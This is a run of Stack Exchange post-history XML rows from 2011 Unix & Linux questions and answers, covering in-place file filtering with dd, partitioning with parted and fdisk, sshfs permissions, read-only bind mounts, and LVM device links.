  <row Id="26928" PostHistoryTypeId="2" PostId="11114" RevisionGUID="e73cd650-4a7b-44e9-8c6c-c695d4da3adc" CreationDate="2011-04-11T21:22:50.687" UserId="885" Text="I'll assume that your filter command is what I'll call a *prefix shrinking filter*, which has the property that byte N in the output is never written before having read at least N bytes of input. `grep` has this property (as long as it's only filtering and not doing other things like adding line numbers for matches). With such a filter, you can overwrite the input as you go along. Of course, you need to be sure of not making any mistake, since the overwritten part at the beginning of the file will be lost forever.&#xD;&#xA;&#xD;&#xA;Most unix tools only give a choice of appending to a file or truncating it, with no possibility of overwriting it. The one exception in the standard toolbox is [`dd`](http://en.wikipedia.org/wiki/Dd_%28Unix%29), which can be told not to truncate its output file. So the plan is to filter the command into `dd conv=notrunc`. This doesn't change the size of the file, so we also grab the length of the new content and truncate the file to that length (again with `dd`). Note that this task is inherently non-robust — if an error occurs, you're on your own.&#xD;&#xA;&#xD;&#xA;    export LC_ALL=C&#xD;&#xA;    n=$({ grep -v foo &lt;big_file |&#xD;&#xA;          tee /dev/fd/3 |&#xD;&#xA;          dd of=big_file conv=notrunc; } 3&gt;&amp;1 | wc -c)&#xD;&#xA;    dd if=/dev/null of=big_file bs=1 seek=$n&#xD;&#xA;&#xD;&#xA;You can write rougly equivalent Perl. Here's a quick implementation that doesn't try to be efficient. Of course, you may want to do your initial filtering directly in that language as well.&#xD;&#xA;&#xD;&#xA;    grep -v foo &lt;big_file | perl -e '&#xD;&#xA;      close STDOUT;&#xD;&#xA;      open STDOUT, &quot;+&lt;&quot;, $ARGV[0] or die;&#xD;&#xA;      while (&lt;STDIN&gt;) {print}&#xD;&#xA;      truncate STDOUT, tell STDOUT or die&#xD;&#xA;    ' big_file&#xD;&#xA;" />
  <row Id="26930" PostHistoryTypeId="2" PostId="11115" RevisionGUID="afe3043a-d344-4865-83a5-ce5f9c03ac57" CreationDate="2011-04-11T21:59:43.533" UserId="5614" Text="I'm somewhat new to working with commandline tools when dealing with partitioning, so you'll have to excuse my newness. &#xD;&#xA;&#xD;&#xA;I'm basically trying to create a new logical partition on `/dev/sdb` and would like to install `ext3` on it. How would I do this, step by step, in `parted`? It's a brand-new hard drive with absolutely nothing on it." />
  <row Id="26931" PostHistoryTypeId="1" PostId="11115" RevisionGUID="afe3043a-d344-4865-83a5-ce5f9c03ac57" CreationDate="2011-04-11T21:59:43.533" UserId="5614" Text="How do I create new partitions and format my hard drive in parted?" />
  <row Id="26932" PostHistoryTypeId="3" PostId="11115" RevisionGUID="afe3043a-d344-4865-83a5-ce5f9c03ac57" CreationDate="2011-04-11T21:59:43.533" UserId="5614" Text="épartitionàépartedà" />
  <row Id="26933" PostHistoryTypeId="2" PostId="11116" RevisionGUID="bec422bd-9189-434b-aebc-2eea30d32977" CreationDate="2011-04-11T22:25:36.700" UserId="885" Text="First, make sure you understand the difference between [primary, extended and logical partitions](http://en.wikipedia.org/wiki/Disk_partitioning#PC_partition_types). To create a logical partition, you first need to create the extended partition that will contain it. If there's only one partition on a drive, there's no point in not making it primary.&#xD;&#xA;&#xD;&#xA;Parted isn't the easiest tool for a straightforward task, a dedicated partitioning tool such as `cfdisk` or even `fdisk` may be easier to apprehend. But here goes (untested, make sure you understand what's going on and don't proceed blindly if you see error messages). You'll need to enter the size of the device when creating the partition (parted displays it).&#xD;&#xA;&#xD;&#xA;    /dev/sdb&#xD;&#xA;    mklabel msdos&#xD;&#xA;    mkpart extended 0 123456&#xD;&#xA;    mkpart logical 0 123455&#xD;&#xA;&#xD;&#xA;Then run `mkfs.ext3 /dev/sdb5` outside Parted.&#xD;&#xA;&#xD;&#xA;If you choose to use cfdisk, you should be able to navigate its menu-driven interface. If you prefer fdisk, the sequence of instructions is:&#xD;&#xA;&#xD;&#xA;    n             create partition&#xD;&#xA;    e             extended&#xD;&#xA;    1             number (1–4)&#xD;&#xA;    &lt;return&gt;      accept default start&#xD;&#xA;    &lt;return&gt;      accept default end&#xD;&#xA;    n             create partition&#xD;&#xA;    l             logical&#xD;&#xA;    &lt;return&gt;      accept default start&#xD;&#xA;    &lt;return&gt;      accept default end&#xD;&#xA;    p             show the current table, review it&#xD;&#xA;    w             write changes&#xD;&#xA;    q             exit&#xD;&#xA;" />
  <row Id="26934" PostHistoryTypeId="6" PostId="11115" RevisionGUID="8b28ea12-322a-4027-a94a-a882bbb66c0c" CreationDate="2011-04-11T22:25:48.183" UserId="885" Comment="edited tags" Text="élinuxàépartitionàépartedà" />
  <row Id="26935" PostHistoryTypeId="2" PostId="11117" RevisionGUID="feccc6de-689c-421a-aa41-a51f70efb7ad" CreationDate="2011-04-11T22:48:29.403" UserId="2630" Text="I am connecting to a remote server over SSH but am running into a permissions issue. &#xD;&#xA;&#xD;&#xA;My remote account is `thelq` and primarily part of the group `thelq`. I'm also part of the generic group `users`. Another remote account called `game` is primarily part of the group `users`. On the remote server I can freely view and edit all of `game`'s files. However on the local server I'm apparently not part of the `users` group. Strangely explicitly specifying the `users` group for the gid option still doesn't allow me access to the `users` group&#xD;&#xA;&#xD;&#xA;Example of what I tried in command line:&#xD;&#xA;&#xD;&#xA;    [thelq@quackwall ~]$ sshfs -o idmap=user -o uid=1000 -o gid=1000 -o allow_other -o default_permissions quackgame:/home game-home       &#xD;&#xA;    thelq@quackgame's password:&#xD;&#xA;    [thelq@quackwall ~]$ echo something &gt;&gt; game-home/game/INIT-SETUP&#xD;&#xA;    bash: game-game/game/INIT-SETUP: Permission denied&#xD;&#xA;&#xD;&#xA;I'm confused on what else to do as Linux permissions are not my strong point. I was thinking that longing in as me on the remote machine would allow me access to everything the groups says I can but apparently not. &#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="26936" PostHistoryTypeId="1" PostId="11117" RevisionGUID="feccc6de-689c-421a-aa41-a51f70efb7ad" CreationDate="2011-04-11T22:48:29.403" UserId="2630" Text="Groups ssh user is apart of don't apply on SSHFS" />
  <row Id="26937" PostHistoryTypeId="3" PostId="11117" RevisionGUID="feccc6de-689c-421a-aa41-a51f70efb7ad" CreationDate="2011-04-11T22:48:29.403" UserId="2630" Text="épermissionsàésshfsà" />
  <row Id="26938" PostHistoryTypeId="2" PostId="11118" RevisionGUID="c51e2afa-38e7-413c-971e-04ecb9168062" CreationDate="2011-04-11T23:21:46.640" UserId="6167" Text="The idmap option does not affect permissions, it simply affects shows up in `stat()` for a file's owner.  Also, the uid and gid options only affect the local-side of permissions, who owns the connection effectively.  The default_permissions option turns on permission checking on the local side which is probably not what you want.  Permissions on the remote-side are simply decided by the username used to connect, thelq in this case.  Try something simpler like `sshfs -o idmap=user quackgame:/home game-home` and see if it works.&#xD;&#xA;" />
  <row Id="26939" PostHistoryTypeId="2" PostId="11119" RevisionGUID="f33ca773-6eec-4776-9b54-9911bc50dd2b" CreationDate="2011-04-11T23:22:33.850" UserId="-1" Text="" />
  <row Id="26940" PostHistoryTypeId="2" PostId="11120" RevisionGUID="e8513901-4929-42eb-94d4-de9e55d5a70c" CreationDate="2011-04-11T23:22:33.850" UserId="-1" Text="" />
  <row Id="26941" PostHistoryTypeId="2" PostId="11121" RevisionGUID="de578073-de34-43db-9bd2-afbe90b745e9" CreationDate="2011-04-11T23:28:41.287" UserId="6511" Text="In bash, or a shell with similar tab-completion, you don't need to use a real command at all: `wibble ` followed by two tabs will get you a list of files in the current directory, and `wibble /bin/` followed by two tabs will show you what's left of /bin.  I once found myself in this situation (actually, I'd killed /bin entirely along with some other things), and started off using the `echo *` approach @STATUS_ACCESS_DENIED suggested, but eventually found tab completion more convenient." />
  <row Id="26942" PostHistoryTypeId="2" PostId="11122" RevisionGUID="1c593c6f-d783-4e02-a95c-f38e4e7d6768" CreationDate="2011-04-11T23:42:28.867" UserId="6208" Text="First, some background:&#xD;&#xA;&#xD;&#xA; - /dev/md1 is a RAID-0 array serving as primary file store. It is mounted to /var/smb.&#xD;&#xA; - /dev/md2 is another RAID-0 array storing backup snapshots taken from /dev/md1. It is mounted to /var/smb/snapshots.&#xD;&#xA; - Three directories are made available via Samba: /var/smb/files (publicly-shared files), /var/smb/private (private files), and /var/smb/snapshots (providing read-only access to backup snapshots).&#xD;&#xA;&#xD;&#xA;Only users in the smbusers group are allowed to access the files and snapshots shares; similarly, only users in the smbprivate group are allowed to access the files in private. Additionally, Linux permissions prohibit users not in the respective groups from accessing the files and private directories, both on the local system and within the snapshots Samba share.&#xD;&#xA;&#xD;&#xA;This is great, because it means that we have a fully functional file server with a self-help &quot;restore from backup&quot; option (users can simply access the snapshots share and retrieve the file(s) they want to restore themselves), but so far I lack one key ingredient: Non-root access on the local system to the /var/smb/snapshots directory.&#xD;&#xA;&#xD;&#xA;The snapshots _must_ be strictly read-only to all regular users, however of course the file system must be mounted read-write to allow the backup operation to take place. The permissions on these directories are currently:&#xD;&#xA;&#xD;&#xA;    root@odin:/var/smb# ll&#xD;&#xA;    total 40&#xD;&#xA;    drwxrwxr-x  7 root   root        4096 2011-04-11 15:18 ./&#xD;&#xA;    drwxr-xr-x 14 root   root        4096 2011-04-10 19:07 ../&#xD;&#xA;    drwxrwx--- 15 kromey smbusers    4096 2010-12-07 13:09 files/&#xD;&#xA;    drwxrwx---  7 kromey smbprivate  4096 2010-04-07 07:08 private/&#xD;&#xA;    drwxrwx---  3 root   root        4096 2011-04-11 15:16 snapshots/&#xD;&#xA;&#xD;&#xA;Now, what I want is to provide access to the snapshots directory to non-root users, but in a strictly read-only fashion. I can't mount /dev/md2 read-only, though, because I have to have it read-write to run backups; I can't simply re-mount it read-write for a backup and then re-mount it back to read-only, because that provides a window of time when the backups could be written to by another user.&#xD;&#xA;&#xD;&#xA;Previously I did this by making my snapshots directory a read-only NFS export (only to localhost) and mounting that locally (the original secured under a directory lacking traversal rights for non-root users), but this feels like a hack and there seems like there should be a better way to accomplish this. I did try the `mount --bind` option, but it seems to lack the ability to have different access levels (i.e. read-only versus read-write) on the two directories (unless I'm missing something: `mount -r --bind dir1 dir2`).&#xD;&#xA;&#xD;&#xA;Any ideas how I can accomplish this without NFS, or is that my best option?&#xD;&#xA;&#xD;&#xA;**TL;DR:** How can I make the contents of a file system available read-write to a select user, but strictly read-only to everyone else, while maintaining original permissions and ownerships on the files backed up to this file system?" />
  <row Id="26943" PostHistoryTypeId="1" PostId="11122" RevisionGUID="1c593c6f-d783-4e02-a95c-f38e4e7d6768" CreationDate="2011-04-11T23:42:28.867" UserId="6208" Text="Make all files under a directory read-only without changing permissions?" />
  <row Id="26944" PostHistoryTypeId="3" PostId="11122" RevisionGUID="1c593c6f-d783-4e02-a95c-f38e4e7d6768" CreationDate="2011-04-11T23:42:28.867" UserId="6208" Text="éubuntuàépermissionsà" />
  <row Id="26945" PostHistoryTypeId="2" PostId="11123" RevisionGUID="fef34776-98cf-4713-97ca-92d2aabe28fd" CreationDate="2011-04-11T23:58:19.747" UserId="885" Text="You can use `mount --bind`. Mount the “real” filesystem under a directory that's not publicly accessible. Make a read-only bind mount that's more widely accessible. Make a read-write bind mount for the part you want to expose with read-write access.&#xD;&#xA;&#xD;&#xA;    mkdir /media/hidden /media/hidden/sdz99&#xD;&#xA;    chmod 700 /media/hidden&#xD;&#xA;    mount /dev/sdz99 /media/hidden/sdz99&#xD;&#xA;    mount -o bind,ro /media/hidden/sdz99/world-readable /media/world-readable&#xD;&#xA;    mount -o bind /media/hidden/sdz99/world-writable /media/world-writable&#xD;&#xA;&#xD;&#xA;In your use case, I think you can do:&#xD;&#xA;&#xD;&#xA;    mkdir /var/smb/hidden&#xD;&#xA;    mv /var/smb/snapshot /var/smb/hidden&#xD;&#xA;    mkdir /var/smb/snapshot&#xD;&#xA;    chmod 700 /var/smb/hidden&#xD;&#xA;    chmod 755 /var/smb/hidden/snapshot&#xD;&#xA;    mount -o bind,ro /var/smb/hidden/snapshot /var/smb/hidden/snapshot&#xD;&#xA;&#xD;&#xA;I.e. put the real `snapshot` directory under a restricted directory, but give `snapshot` read permissions for everyone. It won't be directly accessible because its parent has restricted access. Bind-mount it read-only in an accessible location, so that everyone can read it through that path.&#xD;&#xA;&#xD;&#xA;(Read-only bind mounts only became possible several years after bind mounts were introduced, so you might remember a time when they didn't work. I don't know offhand since when they work, but they already worked in Debian lenny (i.e. now oldstable).)&#xD;&#xA;" />
  <row Id="26946" PostHistoryTypeId="6" PostId="11122" RevisionGUID="889ab2b4-7ea0-4d59-8f90-04c2c44173db" CreationDate="2011-04-11T23:58:43.707" UserId="885" Comment="edited tags" Text="élinuxàépermissionsàémountà" />
  <row Id="26947" PostHistoryTypeId="6" PostId="7186" RevisionGUID="3afe8557-d2fc-429a-a5cb-7b647e935b46" CreationDate="2011-04-11T23:59:04.877" UserId="885" Comment="edited tags" Text="évimàékeyboardöshortcutsàéviàélessà" />
  <row Id="26948" PostHistoryTypeId="6" PostId="6640" RevisionGUID="f1a48d1f-db51-4e23-a721-e695bc77b5ff" CreationDate="2011-04-11T23:59:22.960" UserId="885" Comment="edited tags" Text="ékeyboardöshortcutsàéemacsàécopyöpasteàécutàéclipboardà" />
  <row Id="26949" PostHistoryTypeId="5" PostId="11116" RevisionGUID="52b1f161-7ed3-4aaf-8bae-15b1c30bae27" CreationDate="2011-04-12T00:00:39.683" UserId="885" Comment="added 149 characters in body" Text="First, make sure you understand the difference between [primary, extended and logical partitions](http://en.wikipedia.org/wiki/Disk_partitioning#PC_partition_types). To create a logical partition, you first need to create the extended partition that will contain it. If there's only one partition on a drive, there's no point in not making it primary. Below I'll give instructions for a logical partition; creating a primary partition is similar, only simpler, so you should be able to figure it out.&#xD;&#xA;&#xD;&#xA;Parted isn't the easiest tool for a straightforward task, a dedicated partitioning tool such as `cfdisk` or even `fdisk` may be easier to apprehend. But here goes (untested, make sure you understand what's going on and don't proceed blindly if you see error messages). You'll need to enter the size of the device when creating the partition (parted displays it).&#xD;&#xA;&#xD;&#xA;    /dev/sdb&#xD;&#xA;    mklabel msdos&#xD;&#xA;    mkpart extended 0 123456&#xD;&#xA;    mkpart logical 0 123455&#xD;&#xA;&#xD;&#xA;Then run `mkfs.ext3 /dev/sdb5` outside Parted.&#xD;&#xA;&#xD;&#xA;If you choose to use cfdisk, you should be able to navigate its menu-driven interface. If you prefer fdisk, the sequence of instructions is:&#xD;&#xA;&#xD;&#xA;    n             create partition&#xD;&#xA;    e             extended&#xD;&#xA;    1             number (1–4)&#xD;&#xA;    &lt;return&gt;      accept default start&#xD;&#xA;    &lt;return&gt;      accept default end&#xD;&#xA;    n             create partition&#xD;&#xA;    l             logical&#xD;&#xA;    &lt;return&gt;      accept default start&#xD;&#xA;    &lt;return&gt;      accept default end&#xD;&#xA;    p             show the current table, review it&#xD;&#xA;    w             write changes&#xD;&#xA;    q             exit&#xD;&#xA;" />
  <row Id="26950" PostHistoryTypeId="5" PostId="11109" RevisionGUID="83aafa7b-cd3d-4b93-a0dc-16c4be69ce35" CreationDate="2011-04-12T00:04:54.687" UserId="6027" Comment="added 77 characters in body" Text="Following instructions at http://lik.noblogs.org/post/2010/05/07/wacom-debian/&#xD;&#xA;&#xD;&#xA;Though, i downloaded and built linuxwacom-0.8.8-11&#xD;&#xA;&#xD;&#xA;    ./configure --enable-wacom --with-kernel=/usr/src/linux-headers-2.6.32-5-686&#xD;&#xA;&#xD;&#xA;completes without any problem, then copy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo cp src/2.6.30/wacom.ko /lib/modules/2.6.32-5-686/kernel/drivers/input/tablet/wacom.ko&#xD;&#xA;&#xD;&#xA;unplug and replug, &#xD;&#xA;&#xD;&#xA;    jcress@debian:~/Downloads/linuxwacom-0.8.8-11$ dmesg | grep wacom&#xD;&#xA;    [  878.879686] usbcore: registered new interface driver wacom&#xD;&#xA;    [  878.879694] wacom: v1.52:USB Wacom tablet driver&#xD;&#xA;    [  963.774142] usbcore: deregistering interface driver wacom&#xD;&#xA;    [ 1613.534147] usbcore: registered new interface driver wacom&#xD;&#xA;    [ 1613.534671] wacom: v1.52-pc-0.4:USB Wacom tablet driver&#xD;&#xA;&#xD;&#xA;and dmesg | grep input doesn't list the wacom&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;advice? Does this mean the module isn't working?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: === fixed === &#xD;&#xA;I did dist-upgrade to testing and it 'just works'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26951" PostHistoryTypeId="25" PostId="11122" RevisionGUID="094f1e6d-7a6b-41f0-ad62-4832bff3032b" CreationDate="2011-04-12T00:09:06.900" Comment="http://twitter.com/#!/StackUnix/status/57596065796464640" />
  <row Id="26952" PostHistoryTypeId="2" PostId="11124" RevisionGUID="e1efc3dc-315b-4639-a376-4ce67f5c4738" CreationDate="2011-04-12T00:38:43.797" UserId="6208" Text="@Gilles was really close, just ever-so-slightly off the mark for Ubuntu 10.10 (I don't have any reason to doubt he's right for Debian Squeeze, and possibly others). By mounting my read-write snapshots directory under a folder that other users cannot access (e.g. /var/smb/hidden/snapshots, where /var/smb/hidden has permissions 770 and is owned by root:root), I can protect the read-write mount from other users. I can then use `mount --bind` followed by `mount -o remount,ro` to bind the mount to an accessible location, then make it read-only.&#xD;&#xA;&#xD;&#xA;(The inverse (mount the original file system read-only, then bind it read-write) does not work; similarly, mounting the original read-only, then binding it read-only, then re-mounting the original read-write makes the bound directory also read-write.)&#xD;&#xA;&#xD;&#xA;So to recap, here's the solution:&#xD;&#xA;&#xD;&#xA;    mkdir /var/smb/hidden&#xD;&#xA;    chown root:root /var/smb/hidden&#xD;&#xA;    chmod 770 /var/smb/hidden&#xD;&#xA;    mkdir /var/smb/hidden/snapshots&#xD;&#xA;    mksdir /var/smb/snapshots&#xD;&#xA;    mount /dev/md2 /var/smb/hidden/snapshots&#xD;&#xA;    mount --bind /var/smb/hidden/snapshots /var/smb/snapshots&#xD;&#xA;    mount -o remount,ro /var/smb/snapshots&#xD;&#xA;&#xD;&#xA;So there is a brief window of time where the backups are read-write and generally accessible, but it's small enough to be usable for my needs. Some trickery with the permissions on /var/smb could protect it during this brief window (i.e. make it non-traversable, then bind the mount, then make it traversable again), if those brief milliseconds are too big a window.&#xD;&#xA;&#xD;&#xA;Now I just have to put this all together in a script. Slip it into the start-up process right after everything is mounted perhaps, which should avoid any conflict that might be caused by Samba trying to share the directory I'm binding to." />
  <row Id="26953" PostHistoryTypeId="5" PostId="11123" RevisionGUID="ea93f629-5db4-4fce-80da-bb3912261fe3" CreationDate="2011-04-12T00:46:15.993" UserId="885" Comment="note that this only works on Debian" Text="*This answer works on Debian (tested on lenny and squeeze). After investigation, it seems to work only thanks to a Debian patch; users of other distributions such as Ubuntu may be out of luck.*&#xD;&#xA;&#xD;&#xA;You can use `mount --bind`. Mount the “real” filesystem under a directory that's not publicly accessible. Make a read-only bind mount that's more widely accessible. Make a read-write bind mount for the part you want to expose with read-write access.&#xD;&#xA;&#xD;&#xA;    mkdir /media/hidden /media/hidden/sdz99&#xD;&#xA;    chmod 700 /media/hidden&#xD;&#xA;    mount /dev/sdz99 /media/hidden/sdz99&#xD;&#xA;    mount -o bind,ro /media/hidden/sdz99/world-readable /media/world-readable&#xD;&#xA;    mount -o bind /media/hidden/sdz99/world-writable /media/world-writable&#xD;&#xA;&#xD;&#xA;In your use case, I think you can do:&#xD;&#xA;&#xD;&#xA;    mkdir /var/smb/hidden&#xD;&#xA;    mv /var/smb/snapshot /var/smb/hidden&#xD;&#xA;    mkdir /var/smb/snapshot&#xD;&#xA;    chmod 700 /var/smb/hidden&#xD;&#xA;    chmod 755 /var/smb/hidden/snapshot&#xD;&#xA;    mount -o bind,ro /var/smb/hidden/snapshot /var/smb/hidden/snapshot&#xD;&#xA;&#xD;&#xA;I.e. put the real `snapshot` directory under a restricted directory, but give `snapshot` read permissions for everyone. It won't be directly accessible because its parent has restricted access. Bind-mount it read-only in an accessible location, so that everyone can read it through that path.&#xD;&#xA;&#xD;&#xA;(Read-only bind mounts only became possible several years after bind mounts were introduced, so you might remember a time when they didn't work. I don't know offhand since when they work, but they already worked in Debian lenny (i.e. now oldstable).)&#xD;&#xA;" />
  <row Id="26954" PostHistoryTypeId="5" PostId="11124" RevisionGUID="924af997-2433-4ab8-b0a5-56d0a6dc0e09" CreationDate="2011-04-12T00:59:53.340" UserId="6208" Comment="added 280 characters in body" Text="@Gilles was really close, just ever-so-slightly off the mark for Ubuntu 10.10 (I don't have any reason to doubt he's right for Debian Squeeze, and possibly others). By mounting my read-write snapshots directory under a folder that other users cannot access (e.g. /var/smb/hidden/snapshots, where /var/smb/hidden has permissions 770 and is owned by root:root), I can protect the read-write mount from other users. I can then use `mount --bind` followed by `mount -o remount,ro` to bind the mount to an accessible location, then make it read-only.&#xD;&#xA;&#xD;&#xA;(The inverse (mount the original file system read-only, then bind it read-write) does not work; similarly, mounting the original read-only, then binding it read-only, then re-mounting the original read-write makes the bound directory also read-write.)&#xD;&#xA;&#xD;&#xA;So to recap, here's the solution:&#xD;&#xA;&#xD;&#xA;    mkdir /var/smb/hidden&#xD;&#xA;    chown root:root /var/smb/hidden&#xD;&#xA;    chmod 770 /var/smb/hidden&#xD;&#xA;    mkdir /var/smb/hidden/snapshots&#xD;&#xA;    mksdir /var/smb/snapshots&#xD;&#xA;    mount /dev/md2 /var/smb/hidden/snapshots&#xD;&#xA;    mount --bind /var/smb/hidden/snapshots /var/smb/snapshots&#xD;&#xA;    mount -o remount,ro /var/smb/snapshots&#xD;&#xA;&#xD;&#xA;So there is a brief window of time where the backups are read-write and generally accessible, but it's small enough to be usable for my needs. Some trickery with the permissions on /var/smb could protect it during this brief window (i.e. make it non-traversable, then bind the mount, then make it traversable again), if those brief milliseconds are too big a window.&#xD;&#xA;&#xD;&#xA;Now I just have to put this all together in a script. Slip it into the start-up process right after everything is mounted perhaps, which should avoid any conflict that might be caused by Samba trying to share the directory I'm binding to.&#xD;&#xA;&#xD;&#xA;**Note:** If your distro supports the `mount -o bind,ro` version as Gilles posted, I recommend that solution for you; my solution is here should _only_ be used by folks on Ubuntu or other distros that won't permit you to change mount options when binding to another directory." />
  <row Id="26955" PostHistoryTypeId="2" PostId="11125" RevisionGUID="9a9f4fb4-fc44-436d-b52f-8670953e4f18" CreationDate="2011-04-12T00:35:18.833" UserId="4671" Text="I'm using Debian squeeze, and running LVM on top of software RAID 1.&#xD;&#xA;I just accidentally just discovered that most of the links under `/dev/mapper` are missing,&#xD;&#xA;though my system seems to be still functioning correctly.&#xD;&#xA;&#xD;&#xA;I'm not sure what happened. &#xD;&#xA;The only thing I can imagine that caused it was my failed attempt to get a LXC fedora container to work.&#xD;&#xA;I ended up deleting a directory `/cgroup/laughlin`, corresponding to the container,&#xD;&#xA;but I can't imagine why that should have caused the problem. &#xD;&#xA;`/dev/mapper` looked (I made some changes, see below) approximately like&#xD;&#xA;&#xD;&#xA;    orwell:/dev/mapper# ls -la&#xD;&#xA;    total 0&#xD;&#xA;    drwxr-xr-x  2 root root     540 Apr 12 05:08 .&#xD;&#xA;    drwxr-xr-x 22 root root    4500 Apr 12 05:08 ..&#xD;&#xA;    crw-------  1 root root  10, 59 Apr  8 10:32 control&#xD;&#xA;    lrwxrwxrwx  1 root root       7 Mar 29 08:28 debian-root -&gt; ../dm-0&#xD;&#xA;    lrwxrwxrwx  1 root root       8 Apr 12 03:32 debian-video -&gt; ../dm-23&#xD;&#xA;&#xD;&#xA;debian-video corresponds to a LV I had just created.&#xD;&#xA;&#xD;&#xA;However, I have quite a number of VGs on my system, corresponding to 4 VGs spread across 4 disks. `vgs` gives&#xD;&#xA;&#xD;&#xA;    orwell:/dev/mapper# vgs&#xD;&#xA;      VG         #PV #LV #SN Attr   VSize   VFree  &#xD;&#xA;      backup       1   2   0 wz--n- 186.26g  96.26g&#xD;&#xA;      debian       1   7   0 wz--n- 465.76g 151.41g&#xD;&#xA;      olddebian    1  12   0 wz--n- 186.26g  21.26g&#xD;&#xA;      testdebian   1   3   0 wz--n- 111.75g  34.22g&#xD;&#xA;&#xD;&#xA;I tried running&#xD;&#xA;&#xD;&#xA;     /dev/mapper# vgscan --mknodes&#xD;&#xA;&#xD;&#xA;and some devices were created (see output below), but they aren't symbolic links to the dm devices as they should be,&#xD;&#xA;so I'm not sure if this is useless or worse. Would they get in the way of recreation of the correct links?&#xD;&#xA;Should I delete these devices again?&#xD;&#xA;&#xD;&#xA;I believe that udev creates these links, so would a reboot fix this problem,&#xD;&#xA;or would I get an unbootable system? What should I do to fix this?&#xD;&#xA;Are there any diagnostics/sanity checks I should run to make sure there aren't&#xD;&#xA;other problems I haven't noticed? Thanks in advance for any assistance.&#xD;&#xA;&#xD;&#xA;    orwell:/dev/mapper# ls -la&#xD;&#xA;    total 0&#xD;&#xA;    drwxr-xr-x  2 root root     540 Apr 12 05:08 .&#xD;&#xA;    drwxr-xr-x 22 root root    4500 Apr 12 05:08 ..&#xD;&#xA;    brw-rw----  1 root disk 253,  1 Apr 12 05:08 backup-local_src&#xD;&#xA;    brw-rw----  1 root disk 253,  2 Apr 12 05:08 backup-video&#xD;&#xA;    crw-------  1 root root  10, 59 Apr  8 10:32 control&#xD;&#xA;    brw-rw----  1 root disk 253, 15 Apr 12 05:08 debian-boot&#xD;&#xA;    brw-rw----  1 root disk 253, 16 Apr 12 05:08 debian-home&#xD;&#xA;    brw-rw----  1 root disk 253, 22 Apr 12 05:08 debian-lxc_laughlin&#xD;&#xA;    brw-rw----  1 root disk 253, 21 Apr 12 05:08 debian-lxc_squeeze&#xD;&#xA;    lrwxrwxrwx  1 root root       7 Mar 29 08:28 debian-root -&gt; ../dm-0&#xD;&#xA;    brw-rw----  1 root disk 253, 17 Apr 12 05:08 debian-swap&#xD;&#xA;    lrwxrwxrwx  1 root root       8 Apr 12 03:32 debian-video -&gt; ../dm-23&#xD;&#xA;    brw-rw----  1 root disk 253, 10 Apr 12 05:08 olddebian-etch_template&#xD;&#xA;    brw-rw----  1 root disk 253, 13 Apr 12 05:08 olddebian-fedora&#xD;&#xA;    brw-rw----  1 root disk 253,  8 Apr 12 05:08 olddebian-feisty&#xD;&#xA;    brw-rw----  1 root disk 253,  9 Apr 12 05:08 olddebian-gutsy&#xD;&#xA;    brw-rw----  1 root disk 253,  4 Apr 12 05:08 olddebian-home&#xD;&#xA;    brw-rw----  1 root disk 253, 11 Apr 12 05:08 olddebian-lenny&#xD;&#xA;    brw-rw----  1 root disk 253,  7 Apr 12 05:08 olddebian-msi&#xD;&#xA;    brw-rw----  1 root disk 253,  5 Apr 12 05:08 olddebian-oldchresto&#xD;&#xA;    brw-rw----  1 root disk 253,  3 Apr 12 05:08 olddebian-root&#xD;&#xA;    brw-rw----  1 root disk 253, 14 Apr 12 05:08 olddebian-suse&#xD;&#xA;    brw-rw----  1 root disk 253,  6 Apr 12 05:08 olddebian-vgentoo&#xD;&#xA;    brw-rw----  1 root disk 253, 12 Apr 12 05:08 olddebian-wsgi&#xD;&#xA;    brw-rw----  1 root disk 253, 20 Apr 12 05:08 testdebian-boot&#xD;&#xA;    brw-rw----  1 root disk 253, 18 Apr 12 05:08 testdebian-home&#xD;&#xA;    brw-rw----  1 root disk 253, 19 Apr 12 05:08 testdebian-root" />
  <row Id="26956" PostHistoryTypeId="1" PostId="11125" RevisionGUID="9a9f4fb4-fc44-436d-b52f-8670953e4f18" CreationDate="2011-04-12T00:35:18.833" UserId="4671" Text="lvm devices under /dev/mapper missing" />
  <row Id="26957" PostHistoryTypeId="3" PostId="11125" RevisionGUID="9a9f4fb4-fc44-436d-b52f-8670953e4f18" CreationDate="2011-04-12T00:35:18.833" UserId="4671" Text="édebianàésoftwareöraidà" />
  <row Id="26958" PostHistoryTypeId="17" PostId="11125" RevisionGUID="98159261-7da4-4a91-9846-d90812fde854" CreationDate="2011-04-12T01:13:36.840" UserId="-1" Comment="from http://serverfault.com/questions/258535/lvm-devices-under-dev-mapper-missing" Text="" />
  <row Id="26959" PostHistoryTypeId="2" PostId="11126" RevisionGUID="9e86b6c8-682b-48ce-8167-64b181c2b1f2" CreationDate="2011-04-12T01:20:55.260" UserId="6513" Text="I'd memory-map the file, do everything in-place using char* pointers to naked memory, then unmap the file and truncate it." />
  <row Id="26960" PostHistoryTypeId="2" PostId="11127" RevisionGUID="15b498b0-99b3-4c98-919f-7c39b24b2aab" CreationDate="2011-04-12T01:40:51.320" UserId="6514" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I am wondering how a driver functions under Linux. Are drivers a single file that can be edited? Is there a list of current drivers in use or is there a different place to find them for each device? &#xD;&#xA;&#xD;&#xA;I am especially interested in learning about my network adapter's driver.&#xD;&#xA;&#xD;&#xA;If you know where some good documentation is I would love to read that too.&#xD;&#xA;&#xD;&#xA;-Thanks" />
  <row Id="26961" PostHistoryTypeId="1" PostId="11127" RevisionGUID="15b498b0-99b3-4c98-919f-7c39b24b2aab" CreationDate="2011-04-12T01:40:51.320" UserId="6514" Text="How do Linux drivers work and where do I find them? (esp. NIC driver)" />
  <row Id="26962" PostHistoryTypeId="3" PostId="11127" RevisionGUID="15b498b0-99b3-4c98-919f-7c39b24b2aab" CreationDate="2011-04-12T01:40:51.320" UserId="6514" Text="élinuxàénetworkingàédriversà" />
  <row Id="26963" PostHistoryTypeId="2" PostId="11128" RevisionGUID="ded5e67f-cac9-463f-9129-54ae424dd2bc" CreationDate="2011-04-12T02:04:13.207" UserId="394" Text="I have some sql dumps that I am looking at the differences between. `diff` can obviously show me the difference between two lines, but I'm driving myself nuts trying to find which values in the long list of comma-separated values are actually the ones causing the lines to be different. &#xD;&#xA;&#xD;&#xA;What tool can I use to point out the exact character differences between two lines in certain files?" />
